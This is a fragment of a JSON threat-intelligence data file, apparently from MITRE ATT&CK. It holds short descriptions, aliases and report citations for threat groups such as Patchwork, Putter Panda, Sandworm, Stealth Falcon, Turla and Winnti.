                    "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.",
                    "source_name": "Operation Hangover May 2013"
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                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
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                "Patchwork",
                "Dropping Elephant",
                "Chinastrats",
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                "Operation Hangover"
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            "name": "PittyTiger",
            "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)",
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                    "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
                    "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.",
                    "source_name": "Villeneuve 2014"
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            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
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            "description": "[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)",
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                    "description": "(Citation: CrowdStrike Putter Panda) (Citation: Cylance Putter Panda)",
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                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
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                    "url": "http://blog.cylance.com/puttering-into-the-future",
                    "description": "Gross, J. and Walter, J.. (2016, January 12). Puttering into the Future.... Retrieved January 22, 2016.",
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            "description": "[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)",
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                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
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                    "description": "Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)",
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                    "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.",
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                    "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
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                    "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/",
                    "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.",
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                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/",
                    "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.",
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            "name": "Scarlet Mimic",
            "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)",
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                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
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            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)",
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                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
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            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)",
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                    "url": "https://citizenlab.org/2016/05/stealth-falcon/",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
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            "aliases": [
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            "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)",
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                    "description": "(Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)",
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                    "description": "ProjectSauron is used to refer both to the threat group also known as G0041 as well as the malware platform also known as S0125. (Citation: Kaspersky ProjectSauron Blog) (Citation: Kaspersky ProjectSauron Full Report)",
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                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
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                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
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                    "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html",
                    "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.",
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                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
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            "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)",
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                    "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group. (Citation: Symantec Waterbug)",
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                {
                    "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity under broader G0010 activity. (Citation: Securelist WhiteBear Aug 2017)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
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                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
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                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf",
                    "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.",
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                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/",
                    "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.",
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                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
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                    "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
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                    "url": "https://securelist.com/games-are-over/70991/",
                    "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
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                    "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf",
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                    "description": "Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.",
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                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
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